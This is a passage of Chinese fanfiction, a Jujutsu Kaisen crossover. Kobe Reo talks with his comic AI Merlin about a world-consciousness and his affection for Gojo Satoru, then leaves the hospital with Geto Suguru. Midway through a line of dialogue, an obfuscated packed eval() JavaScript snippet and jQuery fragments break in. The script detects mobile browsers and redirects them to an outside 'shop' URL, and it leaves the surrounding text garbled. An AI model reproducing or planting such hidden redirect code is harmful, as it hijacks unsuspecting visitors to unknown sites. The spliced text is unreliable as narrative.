人的情感是相当复杂的,用具体的数字量化“爱”这种情感,几乎是不可能的事情。
神户铃央知道梅林列出的所谓好感度大概率只起到一个“仅供参考”的作用,但还是忍不住自我怀疑。
幕布上的投影已经换成了另外一幅场景。
那是神户铃央昏倒后的第一视角,是非常罕见的被人公主抱着的视角。
五条悟漂亮的下颌线、高挺的鼻梁,纤长浓密的睫毛清晰地展现在眼前,璀璨世界在此时也要黯然失色。
要是将这张脸送上大荧幕,轻轻松松就能赚个盆满钵满吧。
肤浅就肤浅吧,神户铃央试图说服自己,两个世界里,他见过那么多人,却只喜欢五条悟的脸,这怎么不算爱呢。
再说了,感情都是需要培养的嘛。
呵,有趣的男人,轻而易举就能吸引神户铃央的注意。
如果错过了就是一辈子的遗憾啊。
“怎么样少爷,满意您看到的吗?”梅林将CG播放完毕,说道,“将来你们结婚的时候,可以在婚礼上播放这些幸福瞬间。”
神户铃央:“……是不是有点变态了?”
他翻了翻目前还很空荡的CG图库,“而且,这算是侵犯五条君的肖像权了吧?”
“是的,少爷。”
熟读法律条款的梅林开朗道,“所以您一定要将五条少爷追到手啊,你俩成了,这就是小情侣之间的情趣;不成,您就是利用高科技手段偷拍的变态。”
到时候真成变态了全都怪你啊,梅林!
这算什么,人工智能犯罪,人类坐牢吗?
他一个难得遵纪守法的霸道总裁招谁惹谁了?
神户铃央觉得自己优雅邪魅贵公子的形象算是被这智障AI毁了。
他单手扶额,沉沉叹了口气:“梅林,祂是怎么联系上你的?”
“不愧是少爷,一如既往的敏锐。”
毫无紧迫感的智障AI还有心情开玩笑,“关于这件事,现在有一个好消息,一个坏消息,您想先听哪一个?”
神户铃央的头比腿更疼,重复指令,“梅林。”
“好的,少爷,我用词简单精确,选重要的先说。”
好消息,神户铃央在[梅林]项目上投入大量人力物力财力,虽然寻找“命定之人”的过程颇为坎坷,但得到了意想不到的回报。
这一超出时代的科技成果引出了一个小型特异点,成功与世界意识进行了交流。
坏消息,联系到的是因为无法跨世界插手,所以完全派不上用场的原世界的意识[真爱]。
而祂带来了一个更坏的消息。
世界与世界隔着遥远的空间与时间,有不同的力量体系与能量运转方式,因着屏障的存在,祂们之间互不干扰。
送神户铃央去[咒回]前,[真爱]只能模糊感受对方的友好,同样是以情感为能量本源的世界,在双方都同意的情况下,跨越屏障的难度大大降低。
爱情亲情友情,怨恨哀伤愤怒,以情感为本源的世界对人类来说总是友好的,更何况神户铃央是如此优秀的“世界之子”。
祂送自家孩子去异世界寻找真爱,结果孩子落地就失联了。
仔细一研究通道打开时泄露的能量,才后知后觉反应过来,[咒回]表面上是个光鲜亮丽的“高魔世界”,情感充沛世界稳固,其实年轻过头,可交流的本源意识都找不到在哪儿。
那地方“只管生不管养”,连和神户铃央同等地位的“世界之子”都有多种死亡的可能性。
能观测到的所有世界线都是野蛮生长,各种世界毁灭、人类伤亡的BE走向更是层出不穷。
简单来说,就是神户铃央的死亡概率大大增加了。
在原本的世界,就算一个月出八回车祸都不会有大事。
但在这边,神户铃央走在大街上,下一秒可能就会因为莫名其妙原因死掉。
[真爱]能怎么办呢?对方不主动把人送回来,神户铃央肉体凡胎,就算找到跨越世界屏障的方法也很难实行。
祂好不容易养出来这么一个具备“苏醒”特性的世界之子,独一无二,不谈一场盛大的恋爱怎么能行!
总归,[咒回]世界不缺优秀的人。
虽然命运的舞台难以预测,但祂相信神户铃央
于是祂趁着屏障彻底闭合之前给了保命的金手指,留下观测锚点等待时机以便后续联系。
“少爷,我就是由您创造出来的那个时机,祂说随着我的升级,之后还会有新的交流机会。”
神户铃央听完,匪夷所思道:“所以好不容易联系上我,祂就只说这一件事,解释自己不是故意把我丢到这地方送命的?”
“顺带强调这个世界真的很危险,让我小心别死了?”
神户铃央在这里当了两年的咒术总监,他能不知道这里有多危险吗?
梅林卡顿一瞬,“嗯……祂还压了几支股,顺便祝你恋爱顺利。”
“走向幸福的未来”原来是这个意思啊。
真是够了。
神户铃央想到自己与五条悟两人半半拉拉的爱心,面无表情给梅林下达了休眠指令,不想再花费脑细胞去研究两个非人物种(AI与世界意识)的脑回路。
但,神户铃央其实没有表面上那么不耐烦联姻决定,甚至是有些满意的。
与霸总一眼就能望得到头的人生比起来,当然是征服一个全新的领域更加有趣。
况且,这里还有五条悟这样有趣的人。
他整理好思路,按下床边的呼叫铃,穿着白大褂的医生保镖一股脑涌入,忙活一通后,用轮椅将神户铃央推出病房。
“啊,夏油君?”
神户铃央看着站在走廊里的男生,略微有些惊讶,“你没有和五条君与家入小姐他们一起离开吗?”
他调来的两台直升机里,有一架是专门用来送学生们回高专用的,时间上不耽误他们上课。
夏油杰视线从神户铃央打着石膏的右腿移到他缠着绷带的额头,才缓缓道,“那个,悟觉得我们应该留下一个人陪你。”
当然,五条悟原话没这么委婉。
“他仇家太多了,昨晚还有今天上午,诅咒师与咒灵都想要他的命。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962410|193013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
白发青年衣领上还有神户铃央蹭上去的血,他瞥了眼守在病房门口的保镖,像是随口说道:“他藏着那么多事,实力又那么弱,身边的人也强不到哪儿去,昏迷的时候被人杀掉也很有可能啊。”
家入硝子没吭声,她原本是想要帮忙治疗的,但被神户铃央手底下的管事以受伤不重为由,拒绝她使用反转术式。
仅仅只是骨裂而已,确实不是严重的伤,但就是让人想不通。
五条悟原本脸色就不太好,听见医生擦着汗讲出口的说辞,直接气笑了,“别管了,硝子,反正他们只听自家老板的话。”
他双手交叉撑在脑后,大跨步跟上带着他们往停机坪去的工作人员,“说不定我们下次出任务的时候,就要换个新的辅助监督了。”
他决定尊重他人选择,才不要上赶着去保护一个在作死的人呢。
夏油杰看着五条悟变来变去的脸色,想起他之前提过的神户铃央与高层之间的事情,原本已经迈出去的脚又收了回来。
“要不,我留在这里,等神户监督醒了之后和他一起回去吧。”
家入硝子偏头想了想,比了个点赞的手势,“我支持。”
五条悟不咸不淡的“哦”了声,头都没回,跟着家入硝子一起离开了。
狐狸眼的年轻人回忆着五条悟的反应,神色复杂,“他担心你昏迷的时候遇到危险。”
“哈哈,这样啊。”坐在轮椅上的年轻人轻笑一声,眉眼弯弯,看起来是发自内心的高兴,“谢谢夏油君特意留下保护我。”
那双黑沉的眼睛里,喜悦的情感纯粹而自然,“之后也要好好谢谢悟君才行,他真是个很好的人啊,总是关心我。”
有一句话徘徊在夏油杰嘴边,不经意脱口而出,“少爷已经许久没有笑得这样开心了。”
夏油杰愣住,在神户铃央看向他的时候连忙解释,“我的意思是,之前从来没见过神户监督这样发自内心的笑……”
“不对,我也不是这个意思,神户监督和悟关系真好……”
越描越黑,夏油杰眼神微死,嘴死死闭上了。
这感觉该死的熟悉,昨晚脑补五条悟与神户铃央的时候才刚刚体会过。
神户铃央又轻轻笑了一声,转瞬即逝,夏油杰差点以为自己听错了。
“走吧,夏油君,我们应该能在晚饭前赶回东京。”
夏油杰闭嘴跟上,全程都是一副欲言又止的样子,最终什么也没问出口。
神户铃央还惦记着校招大计,叫住他,“夏油君为什么要选择做咒术师呢?”
这个问题十分突然,扎着丸子头的青年显然没有反应过来,但像是已经回答了许多遍这个问题,熟练道:“为了保护弱者。”
神户铃央挑眉,“在夏油君心里,弱者指……”
“不会术式的普通人,咒术师有能力,应当保护非术式者。”
相当“正义”啊,高层就是希望非世家咒术师有这种想法。
神户铃央点点头,理了理在腿上的毯子。
“那夏油君觉得,是原子弹厉害还是咒术师厉害?”